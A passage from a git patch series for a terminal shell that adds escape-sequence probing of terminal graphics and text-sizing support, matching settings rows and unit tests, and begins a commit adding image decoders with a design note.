the specification gives it: from the first column of a scratch screen, report the + * cursor, draw a space two cells wide (`w=2`), report, draw a space at double scale (`s=2`), report. Equal positions: + * unsupported. A step of two for the first draw: explicit widths work; two more for the second: scaling works. It runs on the + * alternate screen and leaves it, so nothing the person sees is touched, and it is sent only when asked for. + */ +export const TEXT_SIZING_QUERY = '\u001b[?1049h\u001b[2J\u001b[H\u001b[6n\u001b]66;w=2; \u001b\\\u001b[6n\u001b]66;s=2; \u001b\\\u001b[6n\u001b[?1049l'; +/** DA1 (device attributes: `4` is Sixel), the cell size in pixels and the text area in pixels. */ +export const DISPLAY_QUERY = '\u001b[c\u001b[16t\u001b[14t'; + +export interface ProbeOptions { + graphics?: boolean; + /** Also ask for text sizing, Sixel, cell size and window size. */ + extended?: boolean; +} + /** Read only the two requested replies, never bytes inside a bracketed paste. */ -export function resolveProbeReplies(input: string, hints: Readonly): {capabilities: TerminalCapabilities; input: string} { +export function resolveProbeReplies(input: string, hints: Readonly, options: ProbeOptions = {}): {capabilities: TerminalCapabilities; input: string} { const capabilities = {...hints}; let pasted = false; - const remaining = input.replace(/\u001b\[200~|\u001b\[201~|\u001b\[\?(\d+)u|\u001b\[\?2026;([0-4])\$y|\u001b_Gi=31;([^\u001b]{0,128})\u001b\\/gu, - (match, flags: string | undefined, status: string | undefined, graphics: string | undefined) => { + // Only as many cursor reports as were asked for (three) are ours; later ones are the person's keys. + const positions: Array<{row: number; column: number}> = []; + let displayReplies = 0; + const remaining = input.replace(/\u001b\[200~|\u001b\[201~|\u001b\[\?(\d+)u|\u001b\[\?2026;([0-4])\$y|\u001b_Gi=31;([^\u001b]{0,128})\u001b\\|\u001b\[(\d{1,4});(\d{1,4})R|\u001b\[\?([\d;]{1,64})c|\u001b\[([46]);(\d{1,5});(\d{1,5})t/gu, + (match, flags: string | undefined, status: string | undefined, graphics: string | undefined, row: string | undefined, column: string | undefined, + attributes: string | undefined, kind: string | undefined, height: string | undefined, width: string | undefined) => { if (match === '\u001b[200~') { pasted = true; return match; } if (match === '\u001b[201~') { pasted = false; return match; } if (pasted) return match; + if (row !== undefined) { + if (!options.extended || positions.length >= 3) return match; + positions.push({row: Number(row), column: Number(column)}); + return ''; + } + if (attributes !== undefined) { + if (!options.extended || displayReplies >= 3) return match; + displayReplies += 1; + if (attributes.split(';').includes('4')) capabilities.sixel = true; + return ''; + } + if (kind !== undefined) { + if (!options.extended || displayReplies >= 3) return match; + displayReplies += 1; + const size = {width: Number(width), height: Number(height)}; + if (size.width > 0 && size.height > 0 && size.width <= 1000 && size.height <= 1000 && kind === '6') capabilities.cellPixels = size; + else if (size.width > 0 && size.height > 0 && kind === '4') capabilities.windowPixels = size; + return ''; + } if (graphics !== undefined) { // Protocol evidence wins over profile hints in both directions. if (graphics === 'OK') capabilities.graphicsProtocol = 'kitty'; @@ -28,6 +67,15 @@ export function resolveProbeReplies(input: string, hints: Readonly, transport: ProbeTransport, - timeoutMs = HOST_PROBE_TIMEOUT_MS, options: {graphics?: boolean} = {}): Promise> { + timeoutMs = HOST_PROBE_TIMEOUT_MS, options: ProbeOptions = {}): Promise> { return new Promise(resolve => { let input = ''; let finished = false; @@ -48,7 +96,7 @@ export function probeHost(hints: Readonly, transport: Prob finished = true; clearTimeout(timer); remove(); - resolve(resolveProbeReplies(input, hints)); + resolve(resolveProbeReplies(input, hints, options)); }; const timer = setTimeout(finish, Math.max(0, Math.min(HOST_PROBE_TIMEOUT_MS, timeoutMs))); try { @@ -59,7 +107,8 @@ export function probeHost(hints: Readonly, transport: Prob }); // A transport can deliver buffered input synchronously from listen(). if (finished) { remove(); return; } - transport.write(options.graphics ? `${GRAPHICS_QUERY}${HOST_QUERY}` : HOST_QUERY); + const base = options.graphics ? `${GRAPHICS_QUERY}${HOST_QUERY}` : HOST_QUERY; + transport.write(options.extended ? `${TEXT_SIZING_QUERY}${base}${DISPLAY_QUERY}` : base); } catch { finish(); } }); } diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index 9a603162..d670531f 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -593,6 +593,12 @@ export type StartingPointId = typeof STARTING_POINT_IDS[number]; /** Where Ask's command suggestions come from: nowhere (default) or the person's local model (#432). */ export type AskCommandSuggestions = 'off' | 'local'; +/** How real images are drawn: Auto picks the best verified protocol; the others are an explicit choice (see graphics/capabilities). */ +export type GraphicsMode = 'auto' | 'kitty' | 'iterm2' | 'sixel' | 'unicode' | 'off'; +export const GRAPHICS_MODES: readonly GraphicsMode[] = ['auto', 'kitty', 'iterm2', 'sixel', 'unicode', 'off']; +/** Scaled headings and counters through Kitty's text sizing protocol: Auto when the terminal was shown to scale text, Off, or Enhanced. */ +export type TextSizingSetting = 'auto' | 'off' | 'enhanced'; +export const TEXT_SIZING_SETTINGS: readonly TextSizingSetting[] = ['auto', 'off', 'enhanced']; export const ASK_COMMAND_SUGGESTIONS: readonly AskCommandSuggestions[] = ['off', 'local']; export interface PromptConfiguration { @@ -685,6 +691,10 @@ export interface PromptConfiguration { * resolver cannot place a request. Copy/Insert only, never run. Remote providers are a later, separately reviewed slice. */ askCommandSuggestions: AskCommandSuggestions; + /** Real image rendering (graphics service); text and menus are never images. */ + graphicsMode: GraphicsMode; + /** Relative text sizing for document headings, titles and celebrations (OSC 66, where verified). */ + textSizing: TextSizingSetting; /** How the Ask panel lays out its conversation; independent of the transcript's presentation. */ askPresentation: 'chat' | 'normal'; /** Optional local language understanding; Auto by default (deterministic first, nothing downloads without consent). Folding stays opt-in. */ @@ -903,6 +913,8 @@ export const DEFAULT_PROMPT_CONFIGURATION: PromptConfiguration = { copy: {...DEFAULT_COPY}, askRecord: true, askCommandSuggestions: 'off', + graphicsMode: 'auto', + textSizing: 'auto', askPresentation: 'chat' as const, localUnderstanding: {mode: 'auto', ask: true, folding: false}, agentActivity: true, @@ -1024,7 +1036,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio : []; const promptSymbolCustom = normalizeCustomGlyph(value.promptSymbolCustom); const tooling = {introSeen: value.introSeen !== false, motion: normalizeMotion(value.motion), pastePreview: (value.pastePreview === 'always' || value.pastePreview === 'off' ? value.pastePreview : 'smart') as 'smart' | 'always' | 'off', cursor: normalizeCursor(value.cursor), statusStrip: normalizeStatusStrip(value.statusStrip), keepAwake: normalizeKeepAwakePresentation(value.keepAwake), idleVisuals: normalizeIdleVisuals(value.idleVisuals), liveActivity: normalizeLiveActivity(value.liveActivity), uiChrome: normalizeUiChrome(value.uiChrome), - sessionNotices: value.sessionNotices !== false, copy: normalizeCopy(value.copy), agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, commandQueue: value.commandQueue !== false, queueFailurePolicy: value.queueFailurePolicy === 'continue' ? 'continue' as const : 'pause' as const, queue: normalizeQueuePresentation(value.queue), workspacePanels: value.workspacePanels === true, askRecord: value.askRecord !== false, askCommandSuggestions: value.askCommandSuggestions === 'local' ? 'local' as const : 'off' as const, askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, + sessionNotices: value.sessionNotices !== false, copy: normalizeCopy(value.copy), agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, commandQueue: value.commandQueue !== false, queueFailurePolicy: value.queueFailurePolicy === 'continue' ? 'continue' as const : 'pause' as const, queue: normalizeQueuePresentation(value.queue), workspacePanels: value.workspacePanels === true, askRecord: value.askRecord !== false, askCommandSuggestions: value.askCommandSuggestions === 'local' ? 'local' as const : 'off' as const, graphicsMode: GRAPHICS_MODES.includes(value.graphicsMode as GraphicsMode) ? value.graphicsMode as GraphicsMode : 'auto', textSizing: TEXT_SIZING_SETTINGS.includes(value.textSizing as TextSizingSetting) ? value.textSizing as TextSizingSetting : 'auto', askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, localUnderstanding: normalizeLocalUnderstanding(value.localUnderstanding), shellBackend: isShellId(value.shellBackend) ? value.shellBackend : 'zsh', openWith: OPEN_WITH_IDS.includes(value.openWith as OpenWith) ? value.openWith as OpenWith : 'auto', diff --git a/src/ui/SettingsPanel.ts b/src/ui/SettingsPanel.ts index 0104cd7b..a66a2014 100644 --- a/src/ui/SettingsPanel.ts +++ b/src/ui/SettingsPanel.ts @@ -16,7 +16,7 @@ import {describeCursorColor, contextFor} from '../cursor/colors.js'; import {CURSOR_EFFECTS, CURSOR_IDLE_COLOR_LABELS, CURSOR_IDLE_COLOR_SOURCES, CURSOR_IDLE_EFFECTS, CURSOR_LEVELS, CURSOR_MOTIONS, CURSOR_RENDERERS, type CursorSettings} from '../prompt/configuration.js'; import {COLOR_PRESET_STOPS} from '../chroma/colorPresets.js'; import {renderControls} from './controls.js'; -import {COPY_MODES, COPY_MODE_LABELS} from '../prompt/configuration.js'; +import {COPY_MODES, COPY_MODE_LABELS, GRAPHICS_MODES, TEXT_SIZING_SETTINGS} from '../prompt/configuration.js'; import {QUEUE_RECENT_RESULTS_STEPS, QUEUE_UPCOMING_STEPS, QUEUE_TRANSIENT_SECONDS_STEPS, QUEUE_OUTPUT_DISPLAYS, QUEUE_OUTPUT_DISPLAY_LABELS, QUEUE_SUMMARY_DETAILS, QUEUE_SUMMARY_DETAIL_LABELS, QUEUE_SUMMARY_PLACEMENTS, QUEUE_SUMMARY_ALIGNS, QUEUE_SUMMARY_POSITION_LABELS, type QueuePresentationSettings} from '../prompt/configuration.js'; import {CHROME_PRESET_LABELS, CHROME_PRESETS, CHROME_SOURCES, chromeColorsFrom, LAVENDER_TINT_LABELS, LAVENDER_TINTS, resolveChrome} from '../appearance/uiChrome.js'; import {currentSelectionFamily, defaultVariant, FAMILY_IDS, FAMILY_LABELS, familyOf, selectionFamilies, selectionFamilyLabel, selectionVariants, selectSelectionFamily, variantOptions} from '../appearance/themeSelection.js'; @@ -340,6 +340,12 @@ export const SETTINGS_ROWS: readonly SettingsRow[] = [ enumRow({id: 'glyphStyle', label: 'Glyph style', description: 'Nerd Font or safe terminal symbols', category: 'General', values: GLYPH_STYLES, labels: ['Nerd Font', 'Safe / ASCII'], get: config => config.glyphStyle, set: (config, glyphStyle) => ({...config, glyphStyle, glyphChoiceComplete: true})}), + enumRow({id: 'graphicsMode', label: 'Images', description: 'How real images are drawn in /view, Markdown and HTML. Auto uses the best protocol your terminal proved it supports (Kitty graphics, iTerm2, Sixel), else Unicode character art; the others are an explicit choice that is not verified. Menus and text are never images. /doctor shows what was detected', category: 'General', + values: GRAPHICS_MODES, labels: ['Auto', 'Kitty graphics', 'iTerm2 inline', 'Sixel', 'Unicode character art', 'Off'], + get: config => config.graphicsMode, set: (config, graphicsMode) => ({...config, graphicsMode})}), + enumRow({id: 'textSizing', label: 'Text sizing', description: 'Larger headings and counters in documents, games and celebrations where your terminal proved it can scale text (Kitty\'s text sizing protocol). Off keeps ordinary text; Enhanced scales more, still only where verified', category: 'General', + values: TEXT_SIZING_SETTINGS, labels: ['Auto', 'Off', 'Enhanced'], + get: config => config.textSizing, set: (config, textSizing) => ({...config, textSizing})}), enumRow({id: 'onboardingBackdrop', label: 'Starting point backdrop', description: 'The sky behind the starting-point selector (/startup): the real Aurora, subtle, or off. A cycles it there too', category: 'General', values: ['aurora', 'subtle', 'off'] as const, labels: ['Aurora on', 'Subtle', 'Off'], get: config => config.onboardingBackdrop, set: (config, onboardingBackdrop) => ({...config, onboardingBackdrop})}), @@ -680,7 +686,7 @@ export const CONFIG_GROUPS = ['General', 'Appearance', 'Prompt & Composer', 'Edi export type ConfigGroup = typeof CONFIG_GROUPS[number]; export const CONFIG_GROUP_BY_ID: Readonly> = { - glyphStyle: 'General', panelPosition: 'General', liveSessionStartup: 'General', liveSessionMultiple: 'General', updateMode: 'General', updateFrequency: 'General', + glyphStyle: 'General', graphicsMode: 'General', textSizing: 'General', panelPosition: 'General', liveSessionStartup: 'General', liveSessionMultiple: 'General', updateMode: 'General', updateFrequency: 'General', promptVibrance: 'Appearance', showShell: 'Prompt & Composer', composerPosition: 'Prompt & Composer', composerDividers: 'Prompt & Composer', divider: 'Prompt & Composer', historicalPrompt: 'Prompt & Composer', transcriptPresentation: 'Editor', openWith: 'Editor', terminalEditor: 'Editor', suggestionsOnEmpty: 'Editor', pastePreview: 'Editor', @@ -714,7 +720,7 @@ export function configGroup(row: SettingsRow): ConfigGroup { /** The order of root rows inside their groups (children follow their root); roots not listed keep their place after these. */ const CONFIG_ORDER: readonly string[] = [ - 'glyphStyle', 'panelPosition', 'liveSessionStartup', 'liveSessionMultiple', 'updateMode', 'updateFrequency', + 'glyphStyle', 'graphicsMode', 'textSizing', 'panelPosition', 'liveSessionStartup', 'liveSessionMultiple', 'updateMode', 'updateFrequency', 'uiChrome', 'themeFamily', 'promptVibrance', 'treatmentPreset', 'shimmer', 'autoEffects', 'idleTimeout', 'activityStyle', 'activityColors', 'provider', 'promptStyle', 'promptSymbol', 'composerPosition', 'composerDividers', 'divider', 'historicalPrompt', 'showShell', 'statusStrip', 'syntaxHighlighting', 'pastePreview', 'transcriptPresentation', 'suggestionsOnEmpty', 'openWith', 'terminalEditor', diff --git a/tests/graphicsCapabilities.test.ts b/tests/graphicsCapabilities.test.ts new file mode 100644 index 00000000..64064030 --- /dev/null +++ b/tests/graphicsCapabilities.test.ts @@ -0,0 +1,133 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {BASELINE_CAPABILITIES, resolveHostCapabilities, type TerminalCapabilities} from '../src/host/capabilities.js'; +import {resolveProbeReplies} from '../src/host/probe.js'; +import {decideGraphics, describeGraphics, ESTIMATED_CELL, type GraphicsEnvironment} from '../src/graphics/capabilities.js'; +import {kittyDeleteImage, kittyVirtualPlacement, placeholderRows, PLACEHOLDER_CHAR, MAX_PLACEHOLDER_SPAN, containsKittyBytes} from '../src/graphics/kittyPlaceholder.js'; +import {PLACEHOLDER_DIACRITICS} from '../src/graphics/diacritics.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; + +const KITTY_OK = '\u001b_Gi=31;OK\u001b\\'; + +function environment(env: NodeJS.ProcessEnv, options: {replies?: string; mode?: GraphicsEnvironment['mode']; color?: GraphicsEnvironment['color']; safe?: boolean} = {}): GraphicsEnvironment { + const hints = resolveHostCapabilities(env); + const capabilities: TerminalCapabilities = options.replies ? resolveProbeReplies(options.replies, hints, {extended: true}).capabilities : hints; + return {capabilities, env, mode: options.mode ?? 'auto', color: options.color ?? 'truecolor', safeGlyphs: options.safe ?? false, columns: 100, rows: 40}; +} + +test('Auto: Ghostty and Kitty use Kitty graphics only when the terminal answers the query; placeholders refine it', () => { + const ghosttyAnswered = decideGraphics(environment({TERM_PROGRAM: 'ghostty'}, {replies: KITTY_OK})); + assert.equal(ghosttyAnswered.backend, 'kitty'); + assert.equal(ghosttyAnswered.evidence, 'query'); + assert.equal(ghosttyAnswered.inline, 'placeholder'); + const ghosttySilent = decideGraphics(environment({TERM_PROGRAM: 'ghostty'})); + assert.equal(ghosttySilent.backend, 'unicode', 'the name alone never turns graphics on'); + assert.equal(ghosttySilent.evidence, 'none'); + const ghosttyRefused = decideGraphics(environment({TERM_PROGRAM: 'ghostty'}, {replies: '\u001b_Gi=31;ENOTSUPPORTED:no\u001b\\'})); + assert.equal(ghosttyRefused.backend, 'unicode'); + const kitty = decideGraphics(environment({TERM_PROGRAM: 'kitty', KITTY_WINDOW_ID: '1'})); + assert.equal(kitty.backend, 'kitty', 'Kitty itself keeps its long-standing record'); + assert.equal(kitty.inline, 'placeholder'); +}); + +test('Auto: WezTerm that confirms Kitty graphics keeps character art in documents (no placeholder record); iTerm2 is labelled a host record', () => { + const wez = decideGraphics(environment({TERM_PROGRAM: 'WezTerm'}, {replies: KITTY_OK})); + assert.equal(wez.backend, 'kitty'); + assert.equal(wez.inline, 'unicode'); + const iterm = decideGraphics(environment({TERM_PROGRAM: 'iTerm.app'})); + assert.equal(iterm.backend, 'iterm2'); + assert.equal(iterm.evidence, 'host'); + assert.equal(iterm.inline, 'unicode'); + assert.match(iterm.reason, /no query/u); +}); + +test('Auto: Sixel needs DA1 to say so; Zed, Terminal.app, Alacritty and unknown terminals get character art, Zed explained', () => { + const sixel = decideGraphics(environment({TERM_PROGRAM: 'unknown'}, {replies: '\u001b[?62;4;22c'})); + assert.equal(sixel.backend, 'sixel'); + assert.equal(sixel.evidence, 'query'); + assert.equal(sixel.inline, 'unicode'); + for (const env of [{TERM_PROGRAM: 'zed'}, {TERM_PROGRAM: 'Apple_Terminal'}, {TERM: 'alacritty'}, {}]) { + const decision = decideGraphics(environment(env)); + assert.equal(decision.backend, 'unicode', JSON.stringify(env)); + assert.equal(decision.inline, 'unicode'); + } + assert.match(decideGraphics(environment({TERM_PROGRAM: 'zed'})).reason, /Zed has no image protocol NMSh can verify/u); +}); + +test('multiplexers, TERM=dumb, NMSH_IMAGES=0 and NO_COLOR never get a native protocol, even a forced one', () => { + for (const mode of ['auto', 'kitty', 'iterm2', 'sixel'] as const) { + const tmux = decideGraphics(environment({TERM_PROGRAM: 'ghostty', TMUX: '/tmp/tmux-1/default,1,0'}, {replies: KITTY_OK, mode})); + assert.equal(tmux.backend, 'unicode', `tmux ${mode}`); + assert.equal(tmux.inline, 'unicode'); + } + assert.equal(decideGraphics(environment({TERM: 'screen-256color'}, {mode: 'kitty'})).backend, 'unicode'); + assert.equal(decideGraphics(environment({TERM: 'dumb'})).unicode, 'ascii'); + assert.equal(decideGraphics(environment({TERM_PROGRAM: 'kitty', KITTY_WINDOW_ID: '1', NMSH_IMAGES: '0'})).backend, 'unicode'); + const noColor = decideGraphics(environment({TERM_PROGRAM: 'ghostty'}, {replies: KITTY_OK, color: 'none'})); + assert.equal(noColor.backend, 'kitty', 'the standalone surface is pixels, color or not'); + assert.equal(noColor.inline, 'unicode', 'placeholders carry the image id in a color, so without color documents use character art'); + assert.equal(noColor.unicode, 'ascii'); +}); + +test('explicit modes: forced protocols say they are not confirmed; Unicode and Off are always honoured', () => { + const forced = decideGraphics(environment({TERM_PROGRAM: 'zed'}, {mode: 'kitty'})); + assert.equal(forced.backend, 'kitty'); + assert.equal(forced.evidence, 'forced'); + assert.match(forced.reason, /did not confirm it/u); + assert.equal(decideGraphics(environment({TERM_PROGRAM: 'ghostty'}, {replies: KITTY_OK, mode: 'kitty'})).evidence, 'query'); + assert.equal(decideGraphics(environment({}, {mode: 'sixel'})).evidence, 'forced'); + assert.equal(decideGraphics(environment({TERM_PROGRAM: 'ghostty'}, {replies: KITTY_OK, mode: 'unicode'})).backend, 'unicode'); + const off = decideGraphics(environment({TERM_PROGRAM: 'ghostty'}, {replies: KITTY_OK, mode: 'off'})); + assert.equal(off.backend, 'off'); + assert.equal(off.inline, 'none'); +}); + +test('character art style follows color level and Safe Glyphs; the cell size comes from the terminal, the window, or an estimate', () => { + assert.equal(decideGraphics(environment({}, {color: 'truecolor'})).unicode, 'quadrant'); + assert.equal(decideGraphics(environment({}, {color: 'ansi256'})).unicode, 'quadrant'); + assert.equal(decideGraphics(environment({}, {color: 'ansi16'})).unicode, 'half'); + assert.equal(decideGraphics(environment({}, {color: 'none'})).unicode, 'ascii'); + assert.equal(decideGraphics(environment({}, {safe: true})).unicode, 'ascii'); + assert.deepEqual(decideGraphics(environment({}, {replies: '\u001b[6;20;10t'})).cell, {width: 10, height: 20, source: 'terminal'}); + assert.deepEqual(decideGraphics(environment({}, {replies: '\u001b[4;800;1000t'})).cell, {width: 10, height: 20, source: 'window'}); + assert.deepEqual(decideGraphics(environment({})).cell, {...ESTIMATED_CELL, source: 'estimated'}); + assert.deepEqual(decideGraphics(environment({}, {replies: '\u001b[4;5;5t'})).cell.source, 'estimated', 'an implausible size is ignored'); +}); + +test('/doctor lines describe the choice and its evidence honestly', () => { + const lines = describeGraphics(decideGraphics(environment({TERM_PROGRAM: 'ghostty'}, {replies: KITTY_OK}))); + assert.match(lines[0]!, /Kitty graphics \(verified\)/u); + assert.match(lines.join('\n'), /Kitty Unicode placeholders/u); + assert.match(describeGraphics(decideGraphics(environment({TERM_PROGRAM: 'zed'}, {mode: 'kitty'})))[0]!, /chosen, not confirmed/u); + assert.match(describeGraphics(decideGraphics(environment({TERM_PROGRAM: 'zed'})))[0]!, /Unicode character art/u); + void BASELINE_CAPABILITIES; +}); + +test('Kitty placeholders: virtual placement, exact cell grid, diacritics per row and column, deletion', () => { + assert.equal(kittyVirtualPlacement(0x4e4d01, 12, 5), '\u001b_Ga=p,U=1,i=5131521,c=12,r=5,q=2\u001b\\'); + assert.equal(kittyDeleteImage(77), '\u001b_Ga=d,d=I,i=77,q=2\u001b\\'); + const rows = placeholderRows(0x4e4d01, 3, 2); + assert.equal(rows.length, 2); + for (const row of rows) { + assert.ok(row.startsWith('\u001b[38;2;78;77;1m'), 'the image id is the truecolor foreground'); + assert.equal(displayWidth(row), 3, 'three cells'); + assert.equal([...stripAnsi(row)].filter(char => char === PLACEHOLDER_CHAR).length, 3); + assert.ok(row.endsWith('\u001b[39m')); + } + const secondRow = [...stripAnsi(rows[1]!)].map(char => char.codePointAt(0)!); + assert.deepEqual(secondRow.slice(0, 3), [0x10eeee, PLACEHOLDER_DIACRITICS[1], PLACEHOLDER_DIACRITICS[0]]); + assert.deepEqual(secondRow.slice(3, 6), [0x10eeee, PLACEHOLDER_DIACRITICS[1], PLACEHOLDER_DIACRITICS[1]]); + assert.ok(containsKittyBytes(rows[0]!)); + assert.equal(containsKittyBytes('plain text'), false); +}); + +test('Kitty placeholders refuse impossible spans and ids', () => { + assert.equal(MAX_PLACEHOLDER_SPAN, 297); + assert.throws(() => placeholderRows(0, 2, 2), RangeError); + assert.throws(() => placeholderRows(1, 0, 2), RangeError); + assert.throws(() => placeholderRows(1, 298, 2), RangeError); + assert.throws(() => kittyVirtualPlacement(1, 2, 298), RangeError); + assert.throws(() => kittyVirtualPlacement(0x1000000, 2, 2), RangeError); + assert.throws(() => kittyDeleteImage(1.5), RangeError); + assert.equal(new Set(PLACEHOLDER_DIACRITICS).size, 297, 'every diacritic is distinct'); +}); diff --git a/tests/hostProbeExtended.test.ts b/tests/hostProbeExtended.test.ts new file mode 100644 index 00000000..dab1510e --- /dev/null +++ b/tests/hostProbeExtended.test.ts @@ -0,0 +1,74 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {BASELINE_CAPABILITIES} from '../src/host/capabilities.js'; +import {DISPLAY_QUERY, HOST_QUERY, TEXT_SIZING_QUERY, probeHost, resolveProbeReplies} from '../src/host/probe.js'; + +/** Replies as a terminal would send them, in the order the queries were written. */ +const cpr = (row: number, column: number) => `\u001b[${row};${column}R`; +const options = {extended: true}; + +test('text sizing detection follows the specification: equal positions mean unsupported', () => { + const none = resolveProbeReplies(`${cpr(1, 1)}${cpr(1, 1)}${cpr(1, 1)}`, BASELINE_CAPABILITIES, options); + assert.deepEqual(none.capabilities.textSizing, {width: false, scale: false}); + const both = resolveProbeReplies(`${cpr(1, 1)}${cpr(1, 3)}${cpr(1, 5)}`, BASELINE_CAPABILITIES, options); + assert.deepEqual(both.capabilities.textSizing, {width: true, scale: true}); + const widthOnly = resolveProbeReplies(`${cpr(1, 1)}${cpr(1, 3)}${cpr(1, 4)}`, BASELINE_CAPABILITIES, options); + assert.deepEqual(widthOnly.capabilities.textSizing, {width: true, scale: false}, 'a terminal with widths only draws the doubled space one cell wide'); + const scaleOnly = resolveProbeReplies(`${cpr(1, 1)}${cpr(1, 1)}${cpr(1, 3)}`, BASELINE_CAPABILITIES, options); + assert.deepEqual(scaleOnly.capabilities.textSizing, {width: false, scale: true}, 'scale is detected independently from width'); + const moved = resolveProbeReplies(`${cpr(1, 1)}${cpr(2, 3)}${cpr(2, 5)}`, BASELINE_CAPABILITIES, options); + assert.deepEqual(moved.capabilities.textSizing, {width: false, scale: false}, 'a row change is no evidence'); +}); + +test('text sizing is left undecided without all three answers, and without the request', () => { + assert.equal(resolveProbeReplies(`${cpr(1, 1)}${cpr(1, 3)}`, BASELINE_CAPABILITIES, options).capabilities.textSizing, undefined); + assert.equal(resolveProbeReplies('', BASELINE_CAPABILITIES, options).capabilities.textSizing, undefined); + const unasked = resolveProbeReplies(`${cpr(1, 1)}${cpr(1, 3)}${cpr(1, 5)}`, BASELINE_CAPABILITIES); + assert.equal(unasked.capabilities.textSizing, undefined); + assert.equal(unasked.input, `${cpr(1, 1)}${cpr(1, 3)}${cpr(1, 5)}`, 'when not asked, nothing is consumed'); +}); + +test('probe replies are consumed, and a fourth cursor report or keys typed meanwhile are left for the person', () => { + const reply = `typed${cpr(1, 1)}${cpr(1, 3)}${cpr(1, 5)}${cpr(9, 9)}\u001b[?62;4;22c\u001b[6;18;9t\u001b[4;900;1200t\u001b[?0u`; + const result = resolveProbeReplies(reply, BASELINE_CAPABILITIES, options); + assert.equal(result.input, `typed${cpr(9, 9)}`, 'only our own replies are removed'); + assert.equal(result.capabilities.sixel, true); + assert.deepEqual(result.capabilities.cellPixels, {width: 9, height: 18}); + assert.deepEqual(result.capabilities.windowPixels, {width: 1200, height: 900}); + assert.equal(result.capabilities.kittyKeyboard, true); +}); + +test('Sixel needs the terminal to say so; sizes are bounded; a pasted lookalike is not a reply', () => { + assert.equal(resolveProbeReplies('\u001b[?62;22c', BASELINE_CAPABILITIES, options).capabilities.sixel, undefined); + assert.equal(resolveProbeReplies('\u001b[6;5000;5000t', BASELINE_CAPABILITIES, options).capabilities.cellPixels, undefined, 'an absurd cell size is ignored'); + assert.equal(resolveProbeReplies('\u001b[6;0;0t', BASELINE_CAPABILITIES, options).capabilities.cellPixels, undefined); + const pasted = resolveProbeReplies(`\u001b[200~${cpr(1, 1)}${cpr(1, 3)}${cpr(1, 5)}\u001b[?62;4c\u001b[201~`, BASELINE_CAPABILITIES, options); + assert.equal(pasted.capabilities.textSizing, undefined); + assert.equal(pasted.capabilities.sixel, undefined); +}); + +test('the extended batch is written only when asked, on a scratch screen that is left again', async () => { + const writes: string[] = []; + const transport = {write: (data: string) => { writes.push(data); }, listen: () => () => {}}; + await probeHost(BASELINE_CAPABILITIES, transport, 1); + assert.deepEqual(writes, [HOST_QUERY], 'unchanged unless asked'); + await probeHost(BASELINE_CAPABILITIES, transport, 1, {extended: true}); + assert.equal(writes[1], `${TEXT_SIZING_QUERY}${HOST_QUERY}${DISPLAY_QUERY}`); + assert.ok(TEXT_SIZING_QUERY.startsWith('\u001b[?1049h') && TEXT_SIZING_QUERY.endsWith('\u001b[?1049l'), 'enters and leaves the alternate screen'); + assert.match(TEXT_SIZING_QUERY, /\u001b\]66;w=2; \u001b\\/u); + assert.match(TEXT_SIZING_QUERY, /\u001b\]66;s=2; \u001b\\/u); +}); + +test('a real exchange: replies arriving through the transport resolve the capabilities', async () => { + let receive: (data: string) => void = () => {}; + const transport = { + write: () => { setImmediate(() => receive(`${cpr(1, 1)}${cpr(1, 3)}${cpr(1, 5)}\u001b[?2026;2$y\u001b[?64;4c\u001b[6;20;10t`)); }, + listen: (callback: (data: string) => void) => { receive = callback; return () => {}; }, + }; + const result = await probeHost(BASELINE_CAPABILITIES, transport, 40, {extended: true}); + assert.deepEqual(result.capabilities.textSizing, {width: true, scale: true}); + assert.equal(result.capabilities.sixel, true); + assert.equal(result.capabilities.synchronizedOutput, true); + assert.deepEqual(result.capabilities.cellPixels, {width: 10, height: 20}); + assert.equal(result.input, ''); +}); From c1b6d07217a45a3793ac842892a16f3f27502e6e Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:41:25 +0530 Subject: [PATCH 112/157] Graphics decoders: safe identify, PNG, GIF, JPEG (EXIF orientation) and WebP (via an installed converter) --- docs/design/graphics-decoders.md | 30 ++++ src/graphics/decode.ts | 57 ++++++ src/graphics/formats.ts | 213 ++++++++++++++++++++++ src/graphics/gif.ts | 170 ++++++++++++++++++ src/graphics/jpeg.ts | 94 ++++++++++ src/graphics/png.ts | 220 +++++++++++++++++++++++ src/graphics/webp.ts | 117 +++++++++++++ tests/graphicsDecode.test.ts | 262 ++++++++++++++++++++++++++++ tests/graphicsDecodeHostile.test.ts | 226 ++++++++++++++++++++++++ tests/support/gifEncoder.ts | 111 ++++++++++++ tests/support/graphicsFixtures.ts | 44 +++++ tests/support/pngEncoder.ts | 128 ++++++++++++++ 12 files changed, 1672 insertions(+) create mode 100644 docs/design/graphics-decoders.md create mode 100644 src/graphics/decode.ts create mode 100644 src/graphics/formats.ts create mode 100644 src/graphics/gif.ts create mode 100644 src/graphics/jpeg.ts create mode 100644 src/graphics/png.ts create mode 100644 src/graphics/webp.ts create mode 100644 tests/graphicsDecode.test.ts create mode 100644 tests/graphicsDecodeHostile.test.ts create mode 100644 tests/support/gifEncoder.ts create mode 100644 tests/support/graphicsFixtures.ts create mode 100644 tests/support/pngEncoder.ts diff --git a/docs/design/graphics-decoders.md b/docs/design/graphics-decoders.md new file mode 100644 index 00000000..9a29d98b --- /dev/null +++ b/docs/design/graphics-decoders.md @@ -0,0 +1,30 @@ +# Graphics decoders + +`src/graphics/{formats,png,gif,jpeg,webp,decode}.ts` turn untrusted image files into a `Raster` (straight-alpha RGBA) for the +graphics service. They only ever throw `ImageError`; a stray exception inside a decoder is caught by `guard` and reported as `malformed`. + +## API + +- `identify(bytes): ImageInfo` reads the header only (PNG IHDR/acTL/tRNS, JPEG SOF scan, GIF screen plus a bounded image count, WebP + VP8/VP8L/VP8X). SVG text is recognised as `svg` and never rendered. Unknown data is `format: 'unknown'`. +- `decodePng`, `decodeGif`, `decodeJpeg` (sync), `decodeWebp(bytes, {scratchDir, signal})` (async), `webpDecoderAvailable()`. +- `readImageFile(path, {maxBytes})` and `decodeImage(bytes, {scratchDir})`: the front door. + +## Limits and safety + +- 